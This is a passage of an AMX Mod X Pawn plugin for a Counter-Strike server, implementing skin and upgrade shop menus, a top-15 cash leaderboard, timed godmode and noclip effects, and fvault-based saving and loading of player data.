  2268. new strTemp[ 1024 ], strTemp2[ 128 ], strCost[ 64 ], iLen
  2269.  
  2270. new playerChoosenSkin = Player[ id ][ PLAYER_SKIN ];
  2271. new playerChoosenUpgrade = Player[ id ][ PLAYER_UPGRADE ];
  2272.  
  2273. iLen = formatex( strTemp[ iLen ], sizeof( strTemp ) - 1 - iLen, "\r[ \w%s \r] \yUpgrade \wDescrption^n^n\wAvailable Tokens\d(\y%i\d)^n^n", GAMETYPE, Player[ id ][ PLAYER_TOKENS ]);
  2274. iLen += formatex( strTemp[ iLen ], sizeof( strTemp ) - 1 - iLen, "\wName : \y%s^n", Upgrade_Names[ playerChoosenUpgrade ][ upgrName ] );
  2275. iLen += formatex( strTemp[ iLen ], sizeof( strTemp ) - 1 - iLen, "\wDescrption^n\d%s^n^n", Upgrade_Names[ playerChoosenUpgrade ][ upgrInfo ] );
  2276.  
  2277. iLen += formatex( strTemp[ iLen ], sizeof( strTemp ) - 1 - iLen, "\w%s \y+\w%i\r%s^n^n", Upgrade_Names[ playerChoosenUpgrade ][ upgrName ], GetUserUpgrades( id, playerChoosenSkin, playerChoosenUpgrade, 0 ), Upgrade_Names[ playerChoosenUpgrade ][ upgrSpeacil ] );
  2278. iLen += formatex( strTemp[ iLen ], sizeof( strTemp ) - 1 - iLen, "\rNEXT LEVEL:^n^n\w%s \y+\w%i", Upgrade_Names[ playerChoosenUpgrade ][ upgrName ], GetUserUpgrades( id, playerChoosenSkin, playerChoosenUpgrade, 1 ), Upgrade_Names[ Player[ id ][ playerChoosenUpgrade ] ][ upgrSpeacil ] );
  2279. iLen += formatex( strTemp[ iLen ], sizeof( strTemp ) - 1 - iLen, "^n^n");
  2280.  
  2281. new menu = menu_create( strTemp, "Handler_Menu_UpgradeDescrption" )
  2282.  
  2283. if( g_PlayerUpgrade[ id ][ playerChoosenSkin ][ playerChoosenUpgrade ] >= 5 )
  2284. formatex( strCost, charsmax( strCost ), "\r[ \dMAXED OUT \r]");
  2285. else
  2286. formatex( strCost, charsmax( strCost ), "\r[ \w%i Tokens \r]", Skin_Info[ playerChoosenSkin ][ SKIN_COSTS ] * (Upgrade_Names[ playerChoosenUpgrade ][ upgrAdd ] + g_PlayerUpgrade[ id ][ playerChoosenSkin ][ playerChoosenUpgrade ] ) );
  2287.  
  2288. formatex( strTemp2, charsmax( strTemp2 ), "Purchase %s", strCost)
  2289. menu_additem( menu, strTemp2)
  2290.  
  2291. formatex( strTemp2, charsmax( strTemp2 ), "\r- \wCurrect Level: \d[ \y%i \d/ \r5 \d]^n", g_PlayerUpgrade[ id ][ playerChoosenSkin ][ playerChoosenUpgrade ]);
  2292. menu_addtext( menu, strTemp2, 0);
  2293.  
  2294. menu_setprop( menu, MPROP_EXITNAME, "Back" );
  2295. menu_display(id, menu)
  2296. }
  2297.  
  2298. public menuitem_callbackbc( id, menu, item )
  2299. {
  2300. new playerChoosenSkin = Player[ id ][ PLAYER_SKIN ];
  2301. new playerChoosenUpgrade = Player[ id ][ PLAYER_UPGRADE ];
  2302.  
  2303. if( g_PlayerUpgrade[ id ][ playerChoosenSkin ][ playerChoosenUpgrade ] >= 5 )
  2304. {
  2305. return ITEM_DISABLED;
  2306. }
  2307. if( Player[ id ][ PLAYER_TOKENS ] < Skin_Info[ playerChoosenSkin ][ SKIN_COSTS ] * (Upgrade_Names[ playerChoosenUpgrade ][ upgrAdd ] + g_PlayerUpgrade[ id ][ playerChoosenSkin ][ playerChoosenUpgrade ]) )
  2308. {
  2309. return ITEM_DISABLED;
  2310. }
  2311. return ITEM_IGNORE;
  2312. }
  2313.  
  2314. public Handler_Menu_UpgradeDescrption(id, menu, item)
  2315. {
  2316. if(item == MENU_EXIT)
  2317. {
  2318. menu_destroy(menu)
  2319. Menu_SkinsPromote(id)
  2320. }
  2321. else
  2322. {
  2323. new playerChoosenSkin = Player[ id ][ PLAYER_SKIN ];
  2324. new playerChoosenUpgrade = Player[ id ][ PLAYER_UPGRADE ];
  2325. new intCost = Skin_Info[ playerChoosenSkin ][ SKIN_COSTS ] * (Upgrade_Names[ playerChoosenUpgrade ][ upgrAdd ] + g_PlayerUpgrade[ id ][ playerChoosenSkin ][ playerChoosenUpgrade ]);
  2326.  
  2327. if( g_PlayerUpgrade[ id ][ playerChoosenSkin ][ playerChoosenUpgrade ] >= 5 )
  2328. {
  2329. Menu_UpgradeDescrption( id );
  2330. return PLUGIN_HANDLED
  2331. }
  2332. else if( Player[ id ][ PLAYER_TOKENS ] < intCost )
  2333. {
  2334. Menu_UpgradeDescrption( id );
  2335. return PLUGIN_HANDLED
  2336. }
  2337. else
  2338. {
  2339. Player[ id ][ PLAYER_TOKENS ] -= intCost;
  2340. g_PlayerUpgrade[ id ][ playerChoosenSkin ][ playerChoosenUpgrade ]++;
  2341. ColorPrint( id, "^3Works +1 to somthnig");
  2342. Save(id);
  2343. Menu_UpgradeDescrption(id);
  2344. }
  2345. }
  2346. return PLUGIN_HANDLED;
  2347. }
  2348.  
  2349. public Menu_SkinDescrption(id)
  2350. {
  2351. new strTemp[ 256 ], iLen, strKey[ 6 ];
  2352.  
  2353. iLen = formatex( strTemp[ iLen ], sizeof( strTemp ) - 1 - iLen, "\r[ \w%s \r] \ySkin \wDescription^n", GAMETYPE);
  2354. iLen += formatex( strTemp[ iLen ], sizeof( strTemp ) - 1 - iLen, "\wCash: \w%i\r$ \y| \wRank \y%i \dout of \r%i^n^n^n", Player[ id ][ PLAYER_CASH ], GetPosition( id ), ArraySize( g_SteamID ));
  2355. iLen += formatex( strTemp[ iLen ], sizeof( strTemp ) - 1 - iLen, "\rSkin Information^n\w%s \y| \wto Craft the Skin\d(\r%i\d)^n\wPage : \r", Skin_Names[ Player[ id ][ PLAYER_SKIN ] ], GetTotalPrice( Player[ id ][ PLAYER_SKIN ] ) );
  2356.  
  2357. new menu = menu_create( strTemp, "Handler_Menu_SkinDescrption" )
  2358.  
  2359. for(new i = 0; i < enumMeatlts; i++)
  2360. {
  2361. num_to_str(i, strKey, 5)
  2362. formatex(strTemp, 99, "\w%s \d(\y%i\d) - \r%i", Meatls_Name[i], mPlayer[id][i], Skin_InfoMealts[ Player[ id ][ PLAYER_SKIN ] ][ i ])
  2363. menu_additem(menu, strTemp, strKey, 0, menu_makecallback( "menuitem_callback" ))
  2364. }
  2365.  
  2366. menu_setprop( menu, MPROP_EXITNAME, "Exit" );
  2367. menu_display(id, menu)
  2368. }
  2369.  
  2370. public Handler_Menu_SkinDescrption(id, menu, item)
  2371. {
  2372. if(item == MENU_EXIT)
  2373. {
  2374. menu_destroy(menu)
  2375. Menu_SkinInfo(id)
  2376. }
  2377. else
  2378. {
  2379. Menu_SkinDescrption( id );
  2380. }
  2381. }
  2382.  
  2383. public SayRank(Client)
  2384. {
  2385. new Position = GetPosition(Client)
  2386.  
  2387. if(Position)
  2388. ColorPrint(Client, "^1Your ^4rank ^1is ^3%d ^1of^3 %d", Position, ArraySize(g_SteamID), Player[ Client ][ PLAYER_CASH ])
  2389. else
  2390. ColorPrint(Client, "^3*^1 You are not^4 ranked.")
  2391. }
  2392.  
  2393. public SortTask()
  2394. {
  2395. if(g_Sort)
  2396. {
  2397. ArraySort(g_SteamID, "SortRanks")
  2398. WriteTop15()
  2399. SaveRanks()
  2400. }
  2401. }
  2402.  
  2403. public SortRanks(Array:SteamID, Position1, Position2)
  2404. {
  2405. static SteamID1[32], SteamID2[32], Kills1, Kills2
  2406.  
  2407. ArrayGetString(SteamID, Position1, SteamID1, 31)
  2408. ArrayGetString(SteamID, Position2, SteamID2, 31)
  2409.  
  2410. TrieGetCell(g_Kills, SteamID1, Kills1)
  2411. TrieGetCell(g_Kills, SteamID2, Kills2)
  2412.  
  2413. if(Kills1 < Kills2)
  2414. return 1
  2415.  
  2416. else if(Kills1 > Kills2 )
  2417. return -1
  2418.  
  2419. return 0
  2420. }
  2421.  
  2422. SaveRanks()
  2423. {
  2424. new File = fopen(g_File, "w+")
  2425.  
  2426. if(!File) return
  2427.  
  2428. for(new Position, Size = ArraySize(g_SteamID), SteamID[32], Name[32], Kills; Position < Size; Position++)
  2429. {
  2430. ArrayGetString(g_SteamID, Position, SteamID, 31)
  2431. TrieGetString(g_Name, SteamID, Name, 31)
  2432. TrieGetCell(g_Kills, SteamID, Kills)
  2433.  
  2434. fprintf(File, "%s ^"%s^" %d^n", SteamID, Name, Kills)
  2435. }
  2436. fclose(File)
  2437. }
  2438.  
  2439. AddRank(Client)
  2440. {
  2441. g_Data[ Client ][ DATA_CASH ] = Player[ Client ][ PLAYER_CASH ];
  2442.  
  2443. ArrayPushString( g_SteamID, g_Data[ Client ][ DATA_STEAMID ] )
  2444. TrieSetString( g_Name, g_Data[ Client ][ DATA_STEAMID ], g_Data[ Client ][ DATA_NAME ] )
  2445. }
  2446.  
  2447. LoadData(Client)
  2448. {
  2449. TrieGetCell( g_Kills, g_Data[ Client ][ DATA_STEAMID ], Player[ Client ][ PLAYER_CASH ] )
  2450. }
  2451.  
  2452. UpdateRank( Client, bool:Name )
  2453. {
  2454. if( Name )
  2455. TrieSetString( g_Name, g_Data[ Client ][ DATA_STEAMID ], g_Data[ Client ][ DATA_NAME ] )
  2456.  
  2457. TrieSetCell( g_Kills, g_Data[ Client ][ DATA_STEAMID ], Player[ Client ][ PLAYER_CASH ])
  2458. }
  2459.  
  2460. GetPosition(Client)
  2461. {
  2462. static Position, Size, SteamID[32]
  2463. for(Position = 0, Size = ArraySize(g_SteamID); Position < Size; Position++)
  2464. {
  2465. ArrayGetString(g_SteamID, Position, SteamID, 31)
  2466.  
  2467. if(equal(SteamID, g_Data[Client][DATA_STEAMID]))
  2468. return Position + 1
  2469. }
  2470. return 0
  2471. }
  2472.  
  2473. WriteTop15()
  2474. {
  2475. new iLen, szName[ 32 ], SteamID[ 35 ], Kills
  2476. iLen = format(g_Top15, sizeof g_Top15 - 1,"<meta charset=UTF-8><style>body{background:#242424;margin:20px;font-family:Tahoma}th{background:#2F3034;color:#BDB670;text-align:center} table{padding:4px;background:#4A4945;font-size:10px;color:#FFF}img{height:12px;background:#99CC00;margin:0 3px}#r{height:12px;background:#999900}#clr{background:none;color:#FFF;font-size:20px}</style>");
  2477. iLen += format(g_Top15[iLen], (sizeof g_Top15 - 1) - iLen,"<body><center><table><tr align=center>" )
  2478.  
  2479. iLen += formatex(g_Top15[iLen], (sizeof g_Top15 - 1) - iLen, "<table cellpadding=1 cellspacing=1 border=0><th width=1%%><align=left font color=white> %s <th width=5%%> %-22.22s <th width=5%%> %s", "#", "Name", "Cash")
  2480.  
  2481. for(new Position = 0, Size = min(ArraySize(g_SteamID), 15); Position < Size; Position++)
  2482. {
  2483. ArrayGetString(g_SteamID, Position, SteamID, 31)
  2484. TrieGetString(g_Name, SteamID, szName, 31)
  2485. TrieGetCell(g_Kills, SteamID, Kills)
  2486.  
  2487. iLen += format(g_Top15[iLen], (sizeof g_Top15 - 1) - iLen,"<tr align=left><td>%d</td><td>%s</td><td>%i</td>", Position + 1, szName, Kills);
  2488. }
  2489. }
  2490.  
  2491.  
  2492. public SayTop15( Client )
  2493. {
  2494.  
  2495. new iLen, szName[ 32 ], SteamID[ 35 ], Kills
  2496.  
  2497. iLen = format(g_Top15, sizeof g_Top15 - 1,"<meta charset=UTF-8><style>body{background:#242424;margin:20px;font-family:Tahoma}th{background:#2F3034;color:#BDB670;text-align:center} table{padding:4px;background:#4A4945;font-size:10px;color:#FFF}img{height:12px;background:#99CC00;margin:0 3px}#r{height:12px;background:#999900}#clr{background:none;color:#FFF;font-size:20px}</style>");
  2498. iLen += format(g_Top15[iLen], (sizeof g_Top15 - 1) - iLen,"<body><center><table><tr align=center>" )
  2499.  
  2500. iLen += format(g_Top15[iLen], (sizeof g_Top15 - 1) - iLen,"<tr align=center><th><h1>#15 Top Players (CASH)<tr align=center>" )
  2501. iLen += format(g_Top15[iLen], (sizeof g_Top15 - 1) - iLen,"<tr align=center><th><h3>Name: %s<tr align=center>", GetUserName( Client ))
  2502. iLen += format(g_Top15[iLen], (sizeof g_Top15 - 1) - iLen,"<tr align=center><th><h3>Steam: %s<tr align=center>", GetUserAuthid( Client ) )
  2503. iLen += format(g_Top15[iLen], (sizeof g_Top15 - 1) - iLen,"<tr align=center><th><h3>Note: Top cash may take a few moments to update.<tr align=center></table>" )
  2504. iLen += format(g_Top15[iLen], (sizeof g_Top15 - 1) - iLen,"<br><br>" )
  2505.  
  2506. iLen += formatex(g_Top15[iLen], (sizeof g_Top15 - 1) - iLen, "<table cellpadding=1 cellspacing=1 border=0><th width=1%%><align=left font color=white> %s <th width=5%%> %-22.22s <th width=5%%> %s", "#", "Name", "Cash")
  2507.  
  2508. for(new Position = 0, Size = min(ArraySize(g_SteamID), 15); Position < Size; Position++)
  2509. {
  2510. ArrayGetString(g_SteamID, Position, SteamID, 31)
  2511. TrieGetString(g_Name, SteamID, szName, 31)
  2512. TrieGetCell(g_Kills, SteamID, Kills)
  2513.  
  2514. iLen += format(g_Top15[iLen], (sizeof g_Top15 - 1) - iLen,"<tr align=left><td>%d</td><td>%s</td><td>%i</td>", Position + 1, szName, Kills);
  2515. }
  2516.  
  2517. show_motd( Client, g_Top15, "Top 15 Players" );
  2518. }
  2519.  
  2520.  
  2521. /* Shop:
  2522. - Tasks
  2523. */
  2524. public Task_RemoveGodmode(id)
  2525. if(is_user_connected(id))
  2526. set_user_godmode(id, 0)
  2527.  
  2528. public Task_RemoveNoclip(id)
  2529. if(is_user_connected(id))
  2530. set_user_noclip(id, 0)
  2531.  
  2532. public Task_RemoveGravity(id)
  2533. if(is_user_connected(id))
  2534. set_user_gravity(id, 1.0)
  2535.  
  2536. public Task_RemoveSpeed(id)
  2537. if(is_user_connected(id))
  2538. set_user_maxspeed(id)
  2539.  
  2540. /* Shop:
  2541. - nVault
  2542. */
  2543. public client_disconnect(id)
  2544. {
  2545. Player[ id ][ PLAYER_PAYCHECK ] = Player[ id ][ PLAYER_PAYCHECK ] + ( get_user_time( id ) / 60 );
  2546. Save( id )
  2547. }
  2548. public client_authorized(id)
  2549. {
  2550. Load(id)
  2551. LoadNames( id );
  2552. get_user_authid(id, g_Data[ id ][ DATA_STEAMID ], 34)
  2553. get_user_name(id, g_Data[ id ][ DATA_NAME ], 20)
  2554.  
  2555. if( !TrieKeyExists( g_Name, g_Data[ id ][ DATA_STEAMID ] ) )
  2556. AddRank(id)
  2557. else
  2558. LoadData(id)
  2559.  
  2560. UpdateRank( id, true )
  2561.  
  2562. ColorPrint( 0 , "^3%s^1 has connected to the server.^4 %i^1 Cash ,^3 %s^1 Knife,^3 %s^1 Skin, Rank^3 %i^1 out of^4 %i", Player[ id ][ PLAYER_CASH ], Knife_Info[ playerUsingknife[ id ] ][ INFOKNIFE_NANE ], Skin_Names[ playerUsingSkin[ id ] ][ DETILS_NAME ], GetPosition( id ), ArraySize( g_SteamID ) );
  2563. }
  2564.  
  2565. public Save(id)
  2566. {
  2567. SaveUser( id );
  2568.  
  2569. new strName[35]
  2570. get_user_authid(id, strName, 34)
  2571.  
  2572. static data[ 256 ];
  2573. new len;
  2574.  
  2575. len += formatex( data[ len ], sizeof( data ) - len - 1, "%i", Player[id][PLAYER_CASH]); // Cash
  2576.  
  2577. len += formatex( data[ len ], sizeof( data ) - len - 1, " %i", playerUsingknife[id])
  2578. len += formatex( data[ len ], sizeof( data ) - len - 1, " %i", playerUsingSkin[id])
  2579.  
  2580. for(new i = 0; i < enumKnifes; i++)
  2581. len += formatex( data[ len ], sizeof( data ) - len - 1, " %i", g_PlayerKnives[id][i]);
  2582. for(new i = 0; i < enumSkins; i++)
  2583. {
  2584. len += formatex( data[ len ], sizeof( data ) - len - 1, " %i", g_PlayerSkins[id][i]);
  2585.  
  2586. for( new j = 0; j < enumSkinInfo - MAXUPGRADES; j++ )
  2587. len += formatex( data[ len ], sizeof( data ) - len - 1, " %i", g_PlayerUpgrade[id][i][j]);
  2588. }
  2589.  
  2590. len += formatex( data[ len ], sizeof( data ) - len - 1, " %i", Player[id][PLAYER_TOKENS]);
  2591.  
  2592. UpdateRank(id, true);
  2593. SaveNames( id );
  2594. fvault_set_data(Vault, strName, data)
  2595. }
  2596.  
  2597. public Load(id)
  2598. {
  2599. LoadUser( id );
  2600.  
  2601. new strName[35]
  2602. get_user_authid(id, strName, 34)
  2603.  
  2604. static data[ 256 ]
  2605. if( fvault_get_data( Vault, strName, data, sizeof( data ) - 1) )
  2606. {
  2607. ParseLoadData( id, data )
  2608. return
  2609. }
  2610. else
  2611. {
  2612. formatex( Player[ id ][ PLAYER_NAME ], 32, GetUserName( id ));
  2613.  
  2614. arrayset(Player[id], 0, enumPlayer)
  2615. arrayset(g_PlayerKnives[id], 0, enumKnifes)
  2616. arrayset(g_PlayerSkins[id], 0, enumSkins)
  2617.  
  2618. for( new i = 0; i < enumSkins; i++ )
  2619. for( new j = 0; j < enumSkinInfo; j++ )
  2620. g_PlayerUpgrade[id][ i ][ j ] = 0;
  2621.  
  2622. playerUsingknife[id] = 0
  2623. playerUsingSkin[id] = 0
  2624. Player[id][PLAYER_PAYCHECK] = 0
  2625.  
  2626. Player[id][PLAYER_CASH] = 0
  2627.  
  2628. SaveNames( id )
  2629. Save(id)
  2630. }
  2631. }
  2632.  
  2633. ParseLoadData( id, data[ 256 ] )
  2634. {
  2635. new num[ 10 ];
  2636.  
  2637. /* Load Cash */
  2638. strbreak( data, num, sizeof( num ) - 1, data, sizeof( data ) - 1 )
  2639. Player[id][ PLAYER_CASH ] = str_to_num(num);
  2640.  
  2641. /* Load Knife */
  2642. strbreak( data, num, sizeof( num ) - 1, data, sizeof( data ) - 1 )
  2643. playerUsingknife[id] = str_to_num(num);
  2644.  
  2645. /* Load Skin */
  2646. strbreak( data, num, sizeof( num ) - 1, data, sizeof( data ) - 1 )
  2647. playerUsingSkin[id] = str_to_num(num);
  2648.  
  2649. /* Load Knifes */
  2650. for(new i = 0; i < enumKnifes; i++)
  2651. { // Load Knifes
  2652. strbreak( data, num, sizeof( num ) - 1, data, sizeof( data ) - 1 )
  2653. g_PlayerKnives[id][i] = str_to_num(num);
  2654. }
  2655. for(new i = 0; i < enumSkins; i++)
  2656. { // Load Masks
  2657. strbreak( data, num, sizeof( num ) - 1, data, sizeof( data ) - 1 )
  2658. g_PlayerSkins[id][i] = str_to_num(num);
  2659.  
  2660. for( new j = 0; j < enumSkinInfo - MAXUPGRADES; j++ )
  2661. {
  2662. strbreak( data, num, sizeof( num ) - 1, data, sizeof( data ) - 1 )
  2663. g_PlayerUpgrade[id][i][j] = str_to_num(num);
  2664. }
  2665. }
  2666.  
  2667. strbreak( data, num, sizeof( num ) - 1, data, sizeof( data ) - 1 )
  2668. Player[ id ][ PLAYER_TOKENS ] = str_to_num(num);
  2669. }
  2670.  
  2671. public LoadUser( Client )
  2672. {
  2673. new playerAuth[ 35 ], intNum[ 10 ];
  2674.  
  2675. get_user_authid( Client, playerAuth, charsmax( playerAuth ) )
  2676.  
  2677. new strData[ 128 ];
  2678.  
  2679. if( !fvault_get_data( Paycheck_Data, playerAuth, strData, 127) )
  2680. {
  2681. Player[ Client ][ PLAYER_PAYCHECK ] = 0;
  2682. arrayset( mPlayer[ Client ], 0, enumMeatlts )
  2683. }
  2684. else
  2685. {
  2686. strbreak( strData, intNum, sizeof( intNum ) - 1, strData, sizeof( strData ) - 1 )
  2687. Player[ Client ][ PLAYER_PAYCHECK ] = str_to_num( intNum );
  2688.  
  2689. for(new i = 0; i < enumMeatlts; i++)
  2690. { // Load Masks
  2691. strbreak( strData, intNum, sizeof( intNum ) - 1, strData, sizeof( strData ) - 1 )
  2692. mPlayer[ Client ][ i ] = str_to_num( intNum );
  2693. }
  2694. }
  2695. }
  2696.  
  2697. public SaveUser( Client )
  2698. {
  2699. new playerAuth[ 35 ], len;
  2700. get_user_authid( Client, playerAuth, charsmax( playerAuth ) );
  2701.  
  2702. new strData[ 128 ];
  2703.  
  2704. len = formatex( strData, charsmax( strData ), "%i", Player[ Client ][ PLAYER_PAYCHECK ] )
  2705.  
  2706. for(new i = 0; i < enumMeatlts; i++)
  2707. len += formatex( strData[ len ], sizeof( strData ) - len - 1, " %i", mPlayer[ Client ][ i ] );
  2708.  
  2709. fvault_set_data( Paycheck_Data, playerAuth, strData )
  2710. }
  2711.  
  2712. /* Shop:
  2713. - Stocks
  2714. */
  2715.  
  2716. CheckSkin(id, const Meatls)
  2717. {
  2718. if ( !( 1 <= id <= get_maxplayers()) || !is_user_connected(id) )
  2719. return true
  2720.  
  2721. for(new i = 0; i < enumMeatlts; i++ )
  2722. {
  2723. if(Skin_InfoMealts[ Meatls ][ i ] > mPlayer[ id ][ i ])
  2724. {
  2725. return false
  2726. }
  2727. }
  2728. return true;
  2729. }
  2730.  
  2731. public Task_CreateBox(Client)
  2732. {
  2733. static Entity[ MAX_BOXES ];
  2734.  
  2735. for( new i = 0; i < MAX_BOXES; i++ )
  2736. {
  2737. Entity[ i ] = engfunc(EngFunc_CreateNamedEntity, engfunc(EngFunc_AllocString, "info_target"));
  2738.  
  2739. if (pev_valid( Entity[ i ] ))
  2740. {
  2741. g_ClientOrigin[ Client ][ 0 ] += i * 80;
  2742.  
  2743. set_pev( Entity[ i ], pev_classname, szBoxes_Info[ i ][ BOXES_CLASSNAME ]);
  2744. set_pev( Entity[ i ], pev_solid, SOLID_BBOX);
  2745. set_pev( Entity[ i ], pev_movetype, MOVETYPE_TOSS);
  2746. set_pev( Entity[ i ], pev_origin, g_ClientOrigin[Client]);
  2747.  
  2748. engfunc(EngFunc_SetModel, Entity[ i ], szBoxes_Info[ i ][ BOXES_MODEL ]);
  2749. engfunc(EngFunc_SetSize, Entity[ i ], {-2.0, -2.0, -2.0}, {5.0, 5.0, 5.0});
  2750.  
  2751. }
  2752. }
  2753. }
  2754.  
  2755. stock user_update_knife(id)
  2756. {
  2757. if(g_PlayerKnives[id][playerUsingknife[id]])
  2758. {
  2759. new strFormat[ 64 ];
  2760.  
  2761. formatex( strFormat, charsmax( strFormat ), "models/injsticenew/v_knife%i.mdl", playerUsingknife[ id ]);
  2762. entity_set_string(id, EV_SZ_viewmodel, strFormat)
  2763.  
  2764. formatex( strFormat, charsmax( strFormat ), "models/w_knife.mdl");
  2765. entity_set_string(id, EV_SZ_weaponmodel, strFormat)
  2766. }
  2767. }
  2768.  
  2769. stock give_grenade(id, grenadeid)
  2770. {
  2771. if(user_has_weapon(id, grenadeid))
  2772. cs_set_user_bpammo(id, grenadeid, cs_get_user_bpammo(id, grenadeid) + 1)
  2773. else
  2774. {
  2775. new strGrenadename[32]
  2776. get_weaponname(grenadeid, strGrenadename, 31)
  2777. give_item(id, strGrenadename)
  2778. }
  2779. }
  2780.  
  2781. GetTime()
  2782. {
  2783. new strDate[ 64 ];
  2784.  
  2785. get_time("%H:%M:%S %m/%d/%Y", strDate, charsmax(strDate))
  2786.  
  2787. static _minutes[5], _seconds[5];
  2788. format_time(_minutes, sizeof(_minutes) - 1, "%M");
  2789. format_time(_seconds, sizeof(_seconds) - 1, "%S");
  2790.  
  2791. new c_minutes = str_to_num(_minutes);
  2792. new c_seconds = str_to_num(_seconds);
  2793.  
  2794. // 16:01:31
  2795. // 59 + 29
  2796. // 60 - 24 = 36
  2797. // 17:00:00
  2798. // 18:01 === 60 - ( 1 + 1 );
  2799. // 58
  2800.  
  2801. new CheckTime = c_minutes;
  2802.  
  2803. if( CheckTime > 0 ) CheckTime = 60 - (c_minutes + 1)
  2804. else CheckTime = 60 - ( c_minutes )
  2805.  
  2806. return ( ( CheckTime ) * 60 ) + ( 60 - c_seconds );
  2807. }
  2808.  
  2809. GetReason( id, Item )
  2810. {
  2811. new strTemp[ 125 ];
  2812. strTemp = "Purchase";
  2813.  
  2814. if( Skin_Info[ Item ][ SKIN_KNIFE ] != -1 && !g_PlayerKnives[id][Skin_Info[ Item ][ SKIN_KNIFE ]] )
  2815. {
  2816. formatex( strTemp, charsmax( strTemp ), "\dSkin cant be bought due\r: \y%s Knife \wmust be unlock first", Knife_Info[ Skin_Info[ Item ][ SKIN_KNIFE ] ][ INFOKNIFE_NANE ]);
  2817. }
  2818. else if(!CheckSkin(id, Item))
  2819. {
  2820. formatex( strTemp, charsmax( strTemp ), "\dSkin cant be bought due:\y You dont have enough Mealts");
  2821. }
  2822. return strTemp
  2823. }
  2824.  
  2825.  
  2826. stock GetUserStat( index, playerChoosenSkin, playerChoosenUpgrade )
  2827. {
  2828. return ( Skin_Info[ playerChoosenSkin ][ playerChoosenUpgrade ] + g_PlayerUpgrade[ index ][ playerChoosenSkin ][ playerChoosenUpgrade ] )
  2829. }
  2830. GetTotalPrice( Item )
  2831. {
  2832. new iSum = 0;
  2833. for(new i = 0; i < enumMeatlts; i++)
  2834. {
  2835. iSum += Skin_InfoMealts[ Item ][ i ];
  2836. }
  2837. return iSum;
  2838. }
  2839.  
  2840. stock GetUserUpgrades( index, playerChoosenSkin, playerChoosenUpgrade, intAdd )
  2841. {
  2842. new intResive = 0;
  2843.  
  2844. switch ( playerChoosenUpgrade )
  2845. {
  2846. case SKIN_MOVEMENT: intResive = 1;
  2847. case SKIN_GRANDE: intResive = 1;
  2848. case SKIN_STAMINA: intResive = 1;
  2849. }
  2850.  
  2851. if( intAdd == 1 ) intAdd = intResive;
  2852.  
  2853. return ( g_PlayerUpgrade[ index ][ playerChoosenSkin ][ playerChoosenUpgrade ] + Skin_Info[ playerChoosenSkin ][ playerChoosenUpgrade ] + intAdd );
  2854. }
  2855.  
  2856. stock MenuKey(menu, item)
  2857. {
  2858. new szData[6], szName[64];
  2859. new access, callback;
  2860. menu_item_getinfo(menu, item, access, szData, charsmax(szData), szName, charsmax(szName), callback);
  2861.  
  2862. menu_destroy(menu)
  2863.  
  2864. return str_to_num(szData);
  2865. }
  2866.  
  2867. public CmdPlayerShower( id )
  2868. {
  2869. new szKey[ 35 ], szName[ 35 ], intKey[ 6 ];
  2870.  
  2871. formatex( szKey, charsmax( szKey ),"\r[ \w%s \r] \wChoose Player:", GAMETYPE);
  2872. new Invite = menu_create(szKey, "InviteMenuHandle")
  2873.  
  2874. new iTotal = fvault_size( "Vault_Names" );
  2875. for( new i = 0; i < iTotal; i++ )
  2876. {
  2877. fvault_get_keyname( "Vault_Names", i, szKey, 34 )
  2878. fvault_get_data( "Vault_Names", szKey, szName, 34 )
  2879.  
  2880. num_to_str( i, intKey, 5 );
  2881. menu_additem(Invite, szName, intKey)
  2882.  
  2883. }
  2884. menu_display(id, Invite)
  2885. return 1;
  2886. }
  2887.  
  2888. public InviteMenuHandle(id, menu, item)
  2889. {
  2890. if(item == MENU_EXIT)
  2891. {
  2892. menu_destroy(menu)
  2893. }
  2894. else
  2895. {
  2896. client_print( id , print_chat, "u pressed item %i", item);
  2897. }
  2898. return PLUGIN_HANDLED;
  2899. }
  2900.  
  2901.  
  2902.  
  2903. public LoadNames(id)
  2904. {
  2905. new strName[35]
  2906. get_user_authid(id, strName, 34)
  2907.  
  2908. static data[ 256 ], intNum[ 10 ];
  2909. if( fvault_get_data( "Vault_Names", strName, data, sizeof( data ) - 1) )
  2910. {
  2911. strbreak( data, intNum, sizeof( intNum ) - 1, data, sizeof( data ) - 1 )
  2912. formatex( Player[ id ][ PLAYER_NAME ], charsmax( Player[][ PLAYER_NAME ] ), intNum);
  2913. }
  2914. else
  2915. {
  2916. formatex( Player[ id ][ PLAYER_NAME ], charsmax( Player[][ PLAYER_NAME ] ), GetUserName( id ));
  2917. SaveNames(id)
  2918. }
  2919. }
  2920.  
  2921. public SaveNames( id )
  2922. {
  2923. new strName[35]
  2924. get_user_authid(id, strName, 34)
  2925.  
  2926. static data[ 256 ];
  2927. new len;
  2928.  
  2929. formatex( Player[ id ][ PLAYER_NAME ], 32, GetUserName( id ));
  2930. len += formatex( data[ len ], sizeof( data ) - len - 1, " ^"%s^"", Player[ id ][ PLAYER_NAME ]);
  2931.  
  2932. fvault_set_data("Vault_Names", strName, data)
  2933. }
  2934.  
  2935.  
  2936. ShopLog(id, input[], any:...)
  2937. {
  2938. static msg[191]
  2939. vformat(msg, 190, input, 3)
  2940.  
  2941. new iFile = fopen(Logpath, "a");
  2942. if( !iFile )
  2943. return;
  2944.  
  2945. // Get Time
  2946. new ctime[64]
  2947. get_time("%m/%d/%Y - %H:%M:%S", ctime, 63)
  2948.  
  2949. fprintf(iFile, "^"%s^" %s (%s) %s^n", ctime, GetUserName( id ), GetUserAuthid( id ), msg)
  2950. fclose(iFile);
  2951. }
  2952.  
  2953. stock GetUserName( const index )
  2954. {
  2955. static szName[ 32 ];
  2956.  
  2957. get_user_name( index, szName, charsmax( szName ) );
  2958.  
  2959. return szName;
  2960. }
  2961.  
  2962.  
  2963. stock GetUserAuthid( const index )
  2964. {
  2965. static szName[ 35 ];
  2966.  
  2967. get_user_authid( index, szName, charsmax( szName ) );
  2968.  
  2969. return szName;
  2970. }
  2971.  
  2972. stock szAuth( const index )
  2973. {
  2974. static g_szAuthID[ 35 ];
  2975.  
  2976. get_user_authid( index, g_szAuthID, charsmax( g_szAuthID ) );
  2977.  
  2978. return g_szAuthID;
  2979. }
  2980.  
  2981. stock szAddress( const index )
  2982. {
  2983. static g_szAddress[ 32 ];
  2984.  
  2985. get_user_ip( index, g_szAddress, charsmax( g_szAddress ), 1 );
  2986.  
  2987. return g_szAddress;
  2988. }
  2989.  
  2990. stock GetSteam( index )
  2991. {
  2992. new steamid[ 32 ]
  2993.  
  2994. get_user_authid(index,steamid,charsmax( steamid ) )
  2995.  
  2996. if(equal(steamid,"STEAM_ID_LAN"))
  2997. {
  2998.  
  2999. get_user_ip(index,steamid,31,1)
  3000. }
  3001. return steamid
  3002. }
  3003.  
